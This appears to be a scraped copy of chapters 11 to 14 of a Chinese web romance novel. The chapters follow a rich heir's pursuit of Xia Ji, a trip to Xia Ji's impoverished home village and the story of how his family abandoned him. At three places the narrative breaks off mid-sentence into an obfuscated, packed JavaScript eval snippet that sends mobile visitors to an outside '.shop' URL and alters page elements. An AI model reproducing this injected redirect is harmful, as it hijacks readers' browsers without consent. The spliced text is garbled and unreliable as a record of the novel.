经过一段时间的纠缠之后,夏季在咨询了京大的心理系校友后确认,赵嘉良这人就是有病! 赵总的示爱方式又土又花,经常会给身为被追求者的夏季一种颜面扫地的感觉。 本来就对京圈世家这个圈子的人十分排斥的夏季起初根本不愿意跟赵嘉良有进一步关系发展。尤其在赵嘉良被他打的中度脑震荡后,夏季过了很长一段时间的痛苦时光。这使得他一度怀疑,赵嘉良的这一切行为是不是对自己打了他的一种报复。 直到有一天,赵嘉良忽然跟夏季说,要为他打造一个全华国最奢华的“夏园”。 “我问过今安姐,她说你从小的梦想就是要住在一个宫殿一样的房子里。每天从百亩花丛环绕的卧室里,由馥郁芬芳的花香将你唤醒。每天有十八位佣人服侍你更衣洗漱。在王宫里,过着矜贵王子一般的生活。”赵嘉良真挚告白,“跟我在一起,让我为你实现所有梦想。” 夏季当时也就那么随便一听,冷笑道,“行啊,等你给我建个华国第一宫殿我就跟你在一起。” 可当夏园真的如火如荼开始动工了,夏季才慌了神。 他懊恼的想:早知道这煞笔说啥都当真,就不该口嗨了! 11. 第 11 章 全程见证了这两人“有病爱情故事”的王今安也是怅然的往躺椅上一靠,晃晃悠悠的喃喃道,“时间过的真快啊,十年前,谁能想到咱俩竟然能躺在这全华国最昂贵的豪宅。啊不,是宫殿里享受着这种纸醉金迷的生活。” 夏季微微一笑,双手交叠放在胸前,神色安详的闭上眼睛,“让我们一起感谢阿良的恩赐吧~” “噗哈哈!” 也不知是不是王今安忽然旧事重提,一些曾经的苦难回忆再次涌现,让两人都不约而同的沉默了好久。 “夏季,能认识你真的太好了。”别看身份贵重的院士外孙女平日里雷厉风行,说一不二。但作为看着她从小吃糠咽菜,被拴在牛棚里长大的夏季,却比谁都清楚这女人扒掉高高在上的外壳,内里是个装的都是什么东西。 王今安转过头,一手支着脑袋,望着平静躺尸的夏季轻声道,“你知道吗?其实有时候我甚至会恶毒的想,感谢喻馨的馈赠。幸好喻馨不要你了,不然你也不能来到我家~” 夏季被她这话说的气笑了,“那你要不去给喻馨写封感谢信?感谢她将我送到你身边?” 王今安还真若有所思的想了想,“那不行,她这行为还是太歹毒了,我不能干助纣为虐的事儿。” 夏季漫不经心的笑笑,“人的命运有时候就是那么幽默。三十年河东三十年河,三十年河西,不过都是寻常事罢了。” 别说当年的两人都不会想到十年之后的他们会躺在奢华无度的夏园里聊天,甚至往近了说,十八岁重返京市寻求一个答案的夏季也不会想到,自己刚找寻到答案,整理好心情,还来不及重新开启新生活就一脚踏进赵嘉良那个无敌大坑中。 而一想到赵嘉良,夏季就十分一言难尽的转过头问,“姐,其实我之前就很想问你了。” “住在一个宫殿一样的房子里。每天从一百平的卧室里醒来,还有十八个佣人服侍起床,这到底是你的愿望还是我的愿望?”一想到赵嘉良那个大傻子在对自己穷追不舍却始终不得回应后,也不知是听哪个狐朋狗友点拨,选择从他身边的人入手。 而当时的夏季跟夏家已经彻底割裂,所以赵嘉良要投他所好,能入手的人物就只剩下王今安了。 赵嘉良最初频频接触王今安的时候,王今安还以为这位外界名声并不算太好的赵家新家主是为了她外公的科研结果而来。毕竟之前赵嘉良约她吃饭的时候就有隐隐流露出有这方面的意向 但因为王院士的研究内容包含一些高度机密的东西。王今安从一开始就被相关部门告诫过,在对外要注意保密等等,所以一直拒绝。 可在对方坚持不懈的骚扰下她又发现这人接触自己并不是因为外公,这就让她产生了一些好奇。当时王今安的同学还暗戳戳的怀疑过,是不是赵嘉良想要追求她。 结果等她真的屈尊跟赵嘉良接触之后没多久,就发现是自己自作多情了,毕竟她多年的经验确实正确。在有她那位貌美如花的弟弟在身边,自己的确很难找到对象。 王今安有些不爽的轻哼道,“赵嘉良给我又是每天送礼又是消息不断的,我特么起初还以为他追我呢!” 结果稍一回应之后发现那狗男人问的全是关于夏季的问题之后,王今安刚准备动一动的少女心老实了。 但十分不爽的她,在回答赵嘉良那些关于夏季喜好等问题的时候就有些真假参半,于是就有了赵嘉良要为心上人建夏园的想法。 其实最初赵嘉良是要建夏宫的。 他要为那个戳中自己心扉的大美人完成儿时愿望,建造出一座美轮美奂的宫殿供他居住。但后来因为上面认为“夏宫”这个名称涉嫌封建迷信,被毙了,这才改成夏园。 而夏季那时候本就年轻,脸皮子薄。被一个疑似脑子有问题的同性纠缠的时候虽然心情爆炸,但考虑到王姐姐最近学业繁忙也一直没好意思跟她说。这才有了后来赵嘉良忽然找到夏季说要给他“圆儿时梦想”这个事儿。 其实当初夏季一听到他那说法就知道他肯定找过王今安,并且被对方忽悠了。 于是才有了他后面幸灾乐祸的那句口嗨。 可赵嘉良当真了。 当天晚上就开始付诸行动,等到当时还叫“夏宫”的工程动工之后,夏季这才慌了神。他这是真担心赵嘉良把王今安小时候做梦的想要的宫殿真整出来! 他后面开诚布公的找赵嘉良谈了好几次,澄清拒绝了无数次。但那个男人就跟个癞皮狗一样,撵不走甩不掉,偶尔给你摇摇尾巴,湿漉漉的眼睛看着你又有点可怜的感觉。 这不是夏季第一次被追求,却是第一次让他感到棘手。 实际上以夏季这张脸蛋,追求他的男男女女多如过江之鲫。其中只有两个人给他留下了深刻的印象。一个是短暂的成为过他名义上的未婚夫的周镇川,另外一个就是赵嘉良了。 两人同样的难缠且无耻,但相比之下夏季还是更讨厌周镇川。 王今安看着他一副陷入回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16177582|180791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忆的模样,故作轻松的伸手拍了拍他的手臂,“安啦别担心!我导说了,赵狗这情况已经非常好了,他一定会恢复的。再说了,你俩可是天定的姻缘,老天一定会让你俩白头偕老的!” 说起来夏季能答应赵嘉良的追求也挺离谱的。 在被赵嘉良纠缠了两个月后,放暑假了。已经被赶出夏家的夏季便准备回自己老家。 他农村的养父母虽然都不在了,但差不多算是吃百家饭长大的他还是想时不时回去看看。而这次回老家,赵嘉良也跟上了。 “你老家怎么会是这种地方?”赵嘉良虽然少时经历坎坷,但毕竟是世家大族出身,从小到大都没有吃过物质方面的苦。 也是硬着头皮跟在夏季屁股后面回老家的经历,让如今的这位赵总知道,原来泱泱华国竟然还有他的豪车开不到的地方! 在飞机转火车,然后在坑坑洼洼的泥巴路上开了五个小时之后。赵嘉良是又坐了一段摸底才气喘吁吁的爬了一个小时的山路抵达了夏季所生活的村子。陪他一同前来的助理保镖在进山之前,为了以防万一还都悄悄在兜里塞了刀子。 “这山坳坳里的地方,你到底是怎么走失走到这里来的啊?!”作为当时圈里最不喜欢议论别家八卦的赵总,对夏家那个真假少爷的事情也只听了表面的一嘴。当时的赵嘉良能想到的唯一一种可能就是夏季是走时候,被人贩子卖到这个偏远山坳坳里的。 可是当他跟在夏季屁股后面走到村头的时候,却听到老远的就有一个老头子冲夏季夏季招手示意。 “夏季回来啦!” “哟,这位是...?” 那人走近些,看到即使跋山涉水却依然西装革履,高大英俊的男人后,一边搓手一边谄媚的笑嘻嘻道,“这位又是你京市的亲戚贵人?欢迎欢迎,我们清河村儿的村民对夏季那可是非常好的!欢迎您来清河村做客!” 赵嘉良虽然一头雾水,但伸手不打笑脸人,他还是客气的跟这个老头了了握了个手。 一旁的夏季冷笑两声,第一次主动叫走了赵嘉良。 直到走远,他才冷冷的说,“这不是你这种世家大少爷该来的地方。” 此时的赵嘉良还以为他是想劝退自己的惯用说辞,刚准备开口反驳的时候却听夏季继续道,“这个村子是我夏家爷爷奶奶特意挑选,专门用来养我的地方。” “这村子的人对我好是因为夏家每年都给村里的人送钱。你不想被敲到脱层皮,就赶紧走!” 12. 第 12 章 清河村是位于华国南部的一个小山村,往南再过两个山头就能看到跟缅甸交临的国境线。若不是担心赵嘉良他们出事自己也会惹上麻烦,夏季其实是压根儿不愿意搭理赵嘉良的。 他领着赵嘉良在乡土小路上又走了好久,一直走到一个位于村子边缘的二层小楼这才停下脚步。 赵嘉良抬首望去,这个二层小楼虽然看着有些破旧,但放眼整个村子却是最体面气派的一栋楼了。 “你来清河村想好住哪儿了吗?”夏季面无表情的问。 这问题还真把赵嘉良问住了,他只好老实交代,“我本想着过来就找个旅馆随便住下的,实在不行花钱在老乡家借住几天也行。” 在大城市里长大的的赵嘉良虽然有听说过“穷山恶水出刁民”的话,但他因着夏季的关系他对夏季的老家总是有层滤镜在。而且他一个大男人还带着助理秘书保镖一群人,也实在不觉得自己需要担心什么。 可夏季却是蹙眉瞟了一眼他身后年轻干练的女秘书,“你们今晚住我家,明天赶紧走!” 虽然能被心上人收留,赵嘉良十分开心。 可他一想到刚刚夏季在路上说的话,心头还是惊疑不定。虽说赵嘉良也知道京圈豪门世家里没一家是省油的灯,他自个儿家手足相残的事情就一大堆,可他一想到类似的事情可能在夏季身上也有发生,他心里就有种说不上来的危机感。 赵嘉良这样想了,也就这么问了。 “我听说夏家对外宣称的是你是早年意外走失的,可你刚刚说这个村子是你爷爷奶奶专门为你挑选的...这是什么意思?” 赵嘉良是个聪明人,不然也不可能从亲爹弟弟手中夺权成功。 他只要稍稍把人心往最恶的那个方向想想,一个可怕的猜想让他浑身一僵...他低声问,“是我想的那个样子吗?” 夏季转过头去懒得搭理他,“跟你有关系吗?” 夏季老家的这个房子外面看着还凑合,内里其实跟家徒四壁也没啥区别了。别说电冰箱这种基础家电了,进门客厅里堆着一些干柴,房顶上的白炽灯灰蒙蒙的,摇摇欲坠。 赵嘉良带来的那些保镖还好,他们大多是部队退役,有艰苦作战的经验。而赵嘉良的助理和秘书就比较惨了。要住没有空调的屋子就算了,有的房间连床都没有。不幸中的万幸是,空房间很多,夏天地上铺张凉席就能凑合睡。 在赵嘉良的“加薪”诱惑下,打工人们倒是全都欢天喜地的就住下了。 夜幕降临之前,夏季再次提醒赵嘉良,“你那个女秘书尽可能不要单独行动。我不是被卖到这儿来的,但王今安的妈可是被卖到这儿被迫生了十几年儿子的!” 赵嘉良神色凝重的点了点头,“明白,我会叮嘱下面人的。” 他在京市经历的大风大浪不少,能跟他跋山涉水来追妻的都是训练有素的心腹,所以赵嘉良对此并不担心。相反的,他更担心的是夏季的安危。 “夏家人为什么要把你送到这儿来?全京市都知道夏家收养夏荣是因为你走失了,为了让夏太太有个心灵慰藉才又收养了个儿子,他们为什么要这么做?”一想到夏季被宣布走失的时候才三岁多,赵嘉良就替他心疼。可把亲生的孙子送走,把没有血缘关系的养子接回来,谁家老人能干出这种事? 夏季穿着一件洗的发白的T恤和浅蓝色阔腿短裤坐在只铺着一张凉席的床板上,而在他房里打地铺的赵嘉良就坐在凉席上面色凝重的望着他。 从他的角度看过去,正好能看到对方纤细笔直的腿半曲着。宽大的短裤下摆几乎起不到什么遮挡的效果,那白嫩嫩的大腿根就那么清晰的暴露在他面前,惹得他下意识的咽了咽口水。 而并未注意到自己坐姿有问题的夏季一手搭在膝盖上,却是侧首望着窗外璀璨的星空。 “我就是想知道他们为什么这么做,所以才会拼命考到京市去。”说着他盘起腿,随意的往床板上一躺。 他的这一动作让赵嘉良失去了欣赏白嫩美景的角度,赵嘉良只得恋恋不舍的把视线从大腿上挪到他的侧脸上。在房间里昏黄的灯光下,夏季的侧脸有种介于男人和男孩儿之间的朦胧美感。 也不知是不是在山里的缘故,清河村的夜空比赵嘉良在城市中见过的都要格外明亮。 那璀璨的星河让整个夜空璀璨浪漫,也让两个在月下闲谈的两人显得格外渺小。 “那你现在已经得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16177583|180791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到你想要的答案了吗?”赵嘉良支起身子,一手搭在床沿上,正色问。 夏季翻了个身不看他,只是闷闷的“嗯”了一声。 正当赵嘉良还想接着问的时候,却听他的声音轻轻飘来,“但其实有时候,不知真相反而更快乐...” 夏季的态度很明显,夏家所谓的真相对他来说显然是个伤心事。赵嘉良没有继续追问,只是暗自下定决心要一定要把夏家的那些事情调查清楚。 因此,第二天天刚亮,夏季还没起床的时候他就带着几个保镖出去打听消息了。 原本以为会有点困难,但在赵嘉良花了点儿小钱之后,村里那些老头老太太很快就知无不言言无不尽了。 “夏季那娃儿被小芬抱回来的时候才三岁多,小芬命好,读过书。嫁给一个城里人之后,就去给大老板当佣人去了。她老板可有钱了,小芬家是咱们村儿第一个盖起二层小楼的!” “据说是她主家说家里信命,说夏小少爷八字不好,成年之前要养在山里头才能活。所以小芬才带着他回了村儿来生活。每年她主家都打不少钱来不说,早几年的时候那小少爷的爷爷奶奶还每年不远万里的要过来看小孙儿。” “后来听说是年纪大,身体不好了就没再来过了。” 至于赵嘉良问起夏季的父母有没有来过后,几个老人脑袋摇的跟拨浪鼓似的。他们一脸神神叨叨的说,“我听小芬说,就是因为这孩子克亲,所以才要送到离父母远远地方来养大。” “不过后面他成年了不就回去了嘛,他们家肯定还是要这个孩子的。” 因为村里的老人消息闭塞,他们还并不知道夏季回京后已经被夏家赶出来的事情。 但仅凭村里人的这些消息,赵嘉良就已经对夏季的出身有了一个颠覆性的认知。在告别这群村口老人后,他立刻让手下之人联系京市的人去查,相信以赵家在京市的地位不久能有结果。 这时候的赵嘉良还不确定这些消息,对自己追求夏季这件事儿有没有帮助。 但越是了解夏季这个人的过去,他却越发的心疼他也越发的想靠近他。 所以当第二天夏季驱逐他们赶紧离开的时候,赵嘉良死活不肯走了。 13. 第 13 章 赵嘉良一行人回到夏季家的时候发现村口站着一群中年男人,他们穿着灰扑扑的体恤短裤,一个个伸长脖子往里张望。而院里,夏季手里握着一根长扫帚,翘着腿,大马金刀的像尊门神一样往屋门口一坐,看着表情不愉。 “干嘛呢这是?”赵嘉良这时候已经察觉出这村子跟自己想象中的不一样了。 他以为,夏季暑假愿意回来,多少是因为有感情的。可从这两天的见闻接触来看,夏季其实对这个村子的情感恐怕很复杂... 见到赵嘉良他们回来。 夏季眉头紧锁的站起身,将扫帚往地上一扔,然后就施施然转头进屋了。 赵嘉良冲自己身后的保镖们使了个眼色,让他们守在门口,自己则跟着夏季进门去了。 “夏季。”赵嘉良三两步追上他,伸手拽住他的手臂。 对方蹙眉停下脚步,盯着他那只拽住自己的手没有作声。 察觉到他的视线后,赵嘉良只得悻悻的松开手,低声问,“怎么了这是?” 此时,赵嘉良那位一脸后怕的女秘书小心翼翼的从楼上下来,谨慎的四处张望了一番才开口,“赵总...” 两人抬头看了她一眼,夏季淡淡的说,“清河村里几乎没有育龄女性,听说有年轻姑娘来,这不都围过来看新鲜了?” 老实说这种深山乡村的生态,是很多长期在大城市,甚至大一些村镇生活过的人都无法想象的。 夏季沉着脸,再次说,“送她回去。” 这次赵嘉良没有再辩解,很爽快的应了“好”。 早年的清河县是个典型的贫困县,受地理条件所限这里并不适合耕种,畜牧业就更不用谈了,一直到近两年才在扶贫干部们的不懈努力下,靠着果树种植有了点起色。只是这种起色也只能保证饿不死,整个村子依然贫穷。而因为贫困,当地的年轻人有能力的都早早背井离乡去城里打工,夏季的养母周小芬也是如此。 “夏季,你跟我们一起回去吧?”赵嘉良不太理解,为什么清河村里明明已经没有夏季的亲友了,他为什么还要不远万里的回来。回到这个家徒四壁的,所谓的“老家”里。 可夏季却是连眼皮都没有抬一下,“回去?回哪儿?” 赵嘉良一时语塞,有点懊恼自己说错话。 “抱歉...” 夏季没说什么,只是径直上了楼。赵嘉良迟疑片刻,也跟了上去。 这时候已经差不多到了午饭时间,夏季生平没啥爱好,休假闲暇时最爱干的就是睡懒觉。今天因为赵嘉良一行人起的太早的关系,他没能躺太久也不得不起来了。谁知道赵嘉良那个大傻逼还真的听从了自己的警告,出门没带漂亮秘书,但他把所有的保镖男助理都带走了! 昨天他们进村的时候,一行人中有年轻育龄女性的消息就在村子里传遍了,他们刚走,夏季的家门口就围满了娶不到老婆,也买不到老婆的单身汉们。 作为屋里唯一的男性和屋主人,夏季有义务保护还留在他家的女性。就像当年他还未成年时,就毫不犹豫站出来保护了王今安那样。此时的赵嘉良也只是感觉有些怪异,却并未多想。他追着夏季的脚步一路上了楼,不甘心的说,“对不起我一时嘴快说错话了,原谅我一次行吗?” 见对方无动于衷的模样,男人有些急了,“你明知道这不是个好地方,你还回来干嘛啊?!” 这时,夏季才终于停下脚步,似笑非笑的抬首望着他。 其实夏季的个子放在成年男性中已经是偏高的了,只是他过于惊艳的五官和相较普通男性更为娇小的骨架会无限削弱他身高的优势。 只是在赵嘉良这种纯正的北方老爷们儿在无论是身高身形,相比于夏季都有绝对的优势,两人站在一起时的那种无形压迫感,夏季是很讨厌的... “我在这里长大为什么不能回来?后天是我妈妈的忌日,我怎么可能不回来?” 其实在赵嘉良决定追求夏季的时候他就让人查过夏季的出身背景,只是当时着急,查的比较片面。错过了如此重要的情报,赵嘉良心中十分懊恼。 见夏季依隐隐都有些不高兴了,他只好放柔声音温和的解释道,“抱歉我不知道...” “能跟我说说你妈妈的事情吗?” 夏季口中的这个“我妈妈”指的显然不是那位千尊万贵的喻影后,而是村民口中的那个早年嫁出去后,在大城市里打工,给有钱人家当保姆的“小芬”。 其实赵嘉良如果铁了心要深挖夏家的这些腌臜事,以他如今的财富地位来说并非难事。只是相比于自己查,他更想听夏季说。 “不是什么光彩的事。”夏季淡淡的转过头,望着空荡荡走廊尽头那个没了半块玻璃的破窗。 夏日的深山,似乎连微风都成了一种奢望。 夏季的目光追随着窗外一动不动的树影,思绪飘得好远好远。 鬼使神差的,他忽然就产生了一种奇异的倾诉欲。为什么倾诉对象会是赵嘉良?这时候的夏季自己也说不清。 “从我记事起,我就知道我的生父名叫夏听风,母亲名叫喻馨。”夏季如是说。 夏听风和喻馨是在夏繁雨去世的第二个月领的结婚证,但没有办婚礼。 按照当时的约定,喻馨会为夏家长子夏繁雨留后,这个孩子无论如何她都会生下来。 “这个故事的开头其实蛮俗套的。我的父亲母亲是大学同学,都是表演专业的。父亲一直爱慕着母亲,可母亲却爱着别人。” 若是喻馨爱的是别人也就算了,可她偏偏深爱着夏听风的大哥。 本来这个结果夏听风也是接受的。毕竟大哥无论是从个人能力还是人品长相都要优于自己。夏听风本准备将这份注定无望的暗恋永远埋藏于心,只在一旁安静祝福便好。 可偏偏,一场意外车祸将原本既定好的灿烂未来全部击碎! 夏繁雨去世后,虽然喻馨几次表示自己一定会把肚子里的孩子平安生下并好好抚养长大。 但兄弟俩的父母本就痛失爱子,在心情上患得患失。他们一边担心喻馨未来是否会带着孙子改嫁,一边又担心这个没有过门的儿媳妇是否会真的对大孙子好。 正好这时夏听风站了出来。 之前夏繁雨和喻馨交往的时候,他为了避嫌就曾跟两人说过自己是不婚主义者,在喻馨被父母咄咄逼人的要求剥夺她抚养权的时候,夏听风说,他可以跟喻馨办理结婚证,这样她肚子里的孩子就永远是夏家嫡长子,也不用担心日后的财产继承等问题。 “夏听风说他可以跟喻馨做形式夫妻,并保证不跟她同房。当时的喻馨才刚刚毕业,都没拍过什么片子也没有名气,根本无法独立抚养一个年幼的孩子。在夏听风的再三保证下,她妥协了。” 听到这的时候,赵嘉良瞳孔地震,“卧槽,还能这样?” 赵嘉良的爱情观和婚姻观遗传自他亲妈。 说的好听点叫对爱忠贞不二,专一且长情。说难听点呢,就是鬣狗看上一块肉,咬住死也不撒口。 夏季只觉得他的反应有些好笑,“这不是很正常吗?在你那个圈子里,貌合神离的协议夫妻应该不是个例吧?” “这我真不知道!我没事儿打探别人家夫妻关系干什么?”男人双手举高作投降状,“但是我可以跟你保证的是,我绝对不是那种拿婚姻当儿戏的人!我不会协议结婚,也不会为了钱去联姻什么的。我认定了你,我的生命中就只会有你一个伴侣!” 夏季挺一言难尽的看了他一眼。 赵嘉良这人一开始给他的感觉就像是癞蛤蟆趴在鞋面上,不咬人但十分恶心人。可现在,赵嘉良在他心中的印象却成了一只有些愚蠢的土狗,不会讨好人还应要上杆子往上蹭! “抱歉,你继续说。”见状,赵嘉良赶紧闭嘴,示意他继续。 如果夏听风按照婚前约定跟喻馨安稳生活,一起抚养哥哥的独子夏燃长大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16177584|180791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那也就不会有后面的事情发生,甚至连夏季也不会出现在这个世界上了。 在同一个屋檐下生活了三年。 夏听风一直规规矩矩从不僭越的处事作风让喻馨对他放松了警惕,两人的关系虽然不及当初的夏繁雨,但也远远超过了一般叔嫂的亲近。 也不知是不是因此夏听风产生了一种可以进一步的错觉,又或是喻馨给的他的自由过了火。在一次宴会醉酒后,他们成为了真正的夫妻。 “喻馨视我为QJ犯的血脉,无论如何都不肯接受我。可爷爷奶奶却因为大伯的事情对我父亲心存愧疚。他们本身就对喻馨的出身不满,认为她对夏家唯一的贡献就是生下大哥。因为跟她结婚,我的父亲不能拥有自己的孩子,爷爷奶奶十分愧疚。可后来喻馨一次就怀上了我,他们欣喜若狂,以大哥的继承权为要挟...” “然后我就这么来到了这个世界。” 试问一个不被父母家人期待的孩子来到这个世界能过的有多苦? 赵嘉良虽然也不是和睦家庭出来的孩子,但他却是在母亲和外祖家捧在掌心里呵护长大的少爷。联想清河村的环境,赵嘉良简直不敢想象夏季的童年时到底经历过什么。 喻馨被迫生下孩子后,花了两年时间搜集了夏听风婚内QJ的证据。 这些证据或许还不足以让夏听风进去,但跟夏家鱼死网破,让夏家颜面扫地还是做的到的。 在经过几个月的商讨后,夏家长辈终于同意了喻馨的部分诉求。 1,长子夏燃交由夏家老两口抚养,是夏家第一财产继承人。 2,二儿子夏季必须永远从京市消失,且永不能回归夏家。 3,夏听风和喻馨于夏燃16岁时自动离婚。 “可惜夏听风也是个命短的,他甚至没活到大哥16岁。”说起大哥夏燃在夏家的地位,此时的夏季已经很用一种很平和客观的语气来讲述了,“他们都很爱大哥,所有的一切都是充分考虑了大哥的接受度才做出的决定。” 夏听风一直将夏燃视如己出,甚至夏燃都是在夏季重回夏家的时候最后一个知道原来夏听风不是自己生父的事情!而喻馨之所以愿意忍耐到夏燃16岁,则是因为夏听风在夏燃面前,却是个非常好的父亲。 可这样一对深爱着孩子的父母,在面对夏季的时候却显得格外冷酷无情。 “爷爷奶奶虽然舍不得,但在儿子和孙子之中还是选择了唯一的儿子。”夏季的声音淡淡的,听不出任何表情。 这也许就跟他此时已经完全坦诚接受命运的认知一般。 “喻馨本来是想让我消失的,但妈妈胆小,把我送回了老家。后来爷爷奶奶就一直资助清河村,希望村里人能善待我,然后就是你看到的样子了。” 赵嘉良说不出来心里是种什么感觉。 虽然夏季说的时候轻描淡写的,但赵嘉良即使没有经历过这些,也是脸色一沉,“她想怎么让你消失?” 夏季被送走的时候才刚满三岁。 看着玉雪可爱,像年华娃娃一样漂亮的小孙子被送走,夏家老两口也是心有不舍却无可奈何。 他们只能尽可能的为身在深山中的小孙子提供一些经济上的帮助,也是因此,夏季成了清河村唯一的一个高中生。 但要想从这种地方普通高中考到京大,可不是容易事。 “你很厉害。”赵嘉良回想了一下之前在商场上接触过的夏燃,又补了一句,:“你比夏燃厉害多了。” 夏季微微扬起下巴,有些小骄傲的说,“我念书确实厉害,不过王阿姨也给了我不少帮助。没有她的辅导,我不可能考的上京大。” 这位王阿姨就是王今安的母亲,王院士的独女了。 王今安考上京大的时候,她被当地媒体誉为:山坳里飞出来的金凤凰。 可在这普天同庆的报道背后,又有多少人知道,金凤凰能从山坳里飞出来,是因为她母亲本身就是凤凰。 14. 第 14 章 京圈里很多人对夏季的评价都是运气好。 生在顶级豪门世家不说,还中了基因彩票似的完美继承了父母双方的所有容貌优点,长得比最顶级的建模AI脸更加有韵味。 甚至就连被拐卖这种奇葩事,他都能靠着考大学顺利找回家来。 在某些不明真相的人眼中,夏季可真是幸运至极! 可剥开表象后,那个看起来云淡风轻的大美人到底是如何成长成这般模样的,也只有他自己知道。 赵家良有些愧疚的说,“对不起。” 夏季不明所以的望了他一眼,“你没有什么需要向我道歉的。” 在结束了夏家相关话题后,时间也不早了。 夏季起的晚,没吃上早饭,午饭他本打算泡面解决,但赵家良本就对他心生怜悯,说什么都不肯让他这么凑合解决。 “我妈从小就教育我,好厨艺是必不可少的追爱技巧。”赵家良信心满满的撩起袖子,大有大干一场的架势。“看在我都千里迢迢追到这儿来了,你就让我展示一下技巧行吗?” 其实夏季在除了睡这个爱好之外,还有一个爱好就是吃。 赵家良的话让他在艰苦环境中不可避免的产生了一些兴趣,但相比之下,他更好奇的是赵家良要如何为自己做这顿午饭。 毕竟中国还有句俗话,叫:巧妇难为无米之炊。 在夏季含着些许笑意的目光下,赵家良顺利亲自承包了今日的午餐。可当他进去厨房,看到柴火炤台,和空荡荡的米缸的时候,表情还是无可避免的呆滞了一瞬。 迟疑间,赵嘉良还是硬着头皮准备向夏季寻求帮助。 可是看到在厨房门口双手抱胸满脸戏谑表情的夏季时,他就知道自己上当了。 而夏季却是预判了他的问题,“看我干什么?” 他两手一摊,“我昨天才回村,家里的米缸就算之前有米也该被各种小动物吃光了。” 说着他又打了个哈欠,“我先去补眠,午饭的事情,就交给你了。” 刚刚还吹嘘要给夏季做五菜一汤的赵嘉良整个人都不好了。 在痛定思痛了片刻之后,赵嘉良召集了自己的所有手下,准备用尽一切办法为心上人准备出这顿“五菜一汤”的爱心午餐。 毕竟是第一次被夏季主动允许展示“追求技能”,虽然有些挫折,但赵嘉良整体来说还是比较有信心的。在他的印象里,在农村这种地方弄点儿吃的应该不难。 实际上清河村里只有两个小卖部,并没有超市这种地方,菜市场就更是没有的。 于是赵嘉良只能让手下去敲老乡家门换些吃的。 最后,他们在“民风淳朴”的老乡手中,以高于市场价50-100倍的价格终于凑够了五菜一汤的原材料。 在这一通操作下来,没吃上泡面的夏季一直到被饿醒,才终于抱着自己的泡面碗一脸幽怨的下了楼。 “你在做什么?”夏季还没进厨房,老远就闻到一阵美妙的飘香。 他顾不上手里的泡面,快步走进厨房,然后对赵嘉良此人的行动力又有了一个深刻的认知。 看着灶台上整齐摆放的八菜两汤,夏季震惊了。 之前听说赵家大少混不吝的,是个亲爹亲弟弟都照弄不误的混世大魔王,可从未有人告诉他这位魔王大人煎炒炸煮样样精通啊! 其实作为日理万机的赵家家主,赵嘉良平时并不爱做饭。甚至许多跟随他多年的部下都不知道自家赵总还有这项技能。 但今日这顿端上桌,不仅是夏季震惊了,赵嘉良的秘书小姐甚至都有点儿破防了。 “赵总,您这也太贤惠了吧~” 要知道下属们能从老乡那里搜罗到的食材是相当有限的。 除了一些好养活的土豆圆白菜之外,只有少量的腊肉辣椒,唯二的荤腥是一条价值800元的草鱼,和原价1000的排骨。 只是在这样的原材料下,赵嘉良还能把土豆做出三种花样来。甚至连排骨都做成了夏季最爱的糖醋排骨。 “嗯,确实蛮贤惠的。”夏季十分难得的说出一句夸赞的话来。 只是他话音刚落就收到男人一个惊喜异常的表情,那模样,跟夏季小时候家里养的大黄狗被夸奖时的神态简直一样一样的~ 但话已经说出口了也收不回来,夏季只能晦气的别过头去,拒绝接受对方的柔情蜜意眼。 “先吃饭吧。”赵嘉良虽然被眼神拒绝了,但也并不气馁,他相信自己精心制作的料理能够俘获那人的心! 实际上赵嘉良有没有俘获心不知道,但却是俘获了胃。 老实说夏季这辈子虽然吃过的好东西不算多,但相比普通人还是见识更广些。 赵嘉良做的饭菜有种不像他之前吃过的任何一位大厨的风格。偏家常,但并不简单。 那是一种在厨艺调味上就带着孔雀开屏般的炫技成分在内的体现,好吃,却让人吃的压力满满。 夏季吃了个八分饱就放下了筷子,因为赵嘉良越来越热切的目光实在像是在说:吃了我做的饭,就要做我的人。 打从一开始就不想跟这人弄出个结果来的夏季实在悔不当初,他昨天就应该把人赶走的! 可事已至此,还是只能先吃饭再说。 赵嘉良这桌饭菜虽然数量不多但分量大,他的那帮手下也差不多说够吃。 说起来这些当下属的倒反天罡能吃上老板做的饭,也算是全托夏季的福了~ 因此,他们包揽了饭后的收拾工作。而夏季则是独自出门去了趟村里的小卖部。 当然,他是想独自出门的,但架不住有条癞皮狗非要跟在身后。 由于实在赶不走,夏季只能捏着鼻子让他跟了。一路上,他都在忧心忡忡的思考自己回京之后是否还有可能真的跟赵嘉良划清界限了。 也怪他刚刚在楼上的时候不知道怎么的就心血来潮的跟赵嘉良讲了许多往事。 在那个男人眼中,他恐怕已经将此视为允许靠近的信号了。 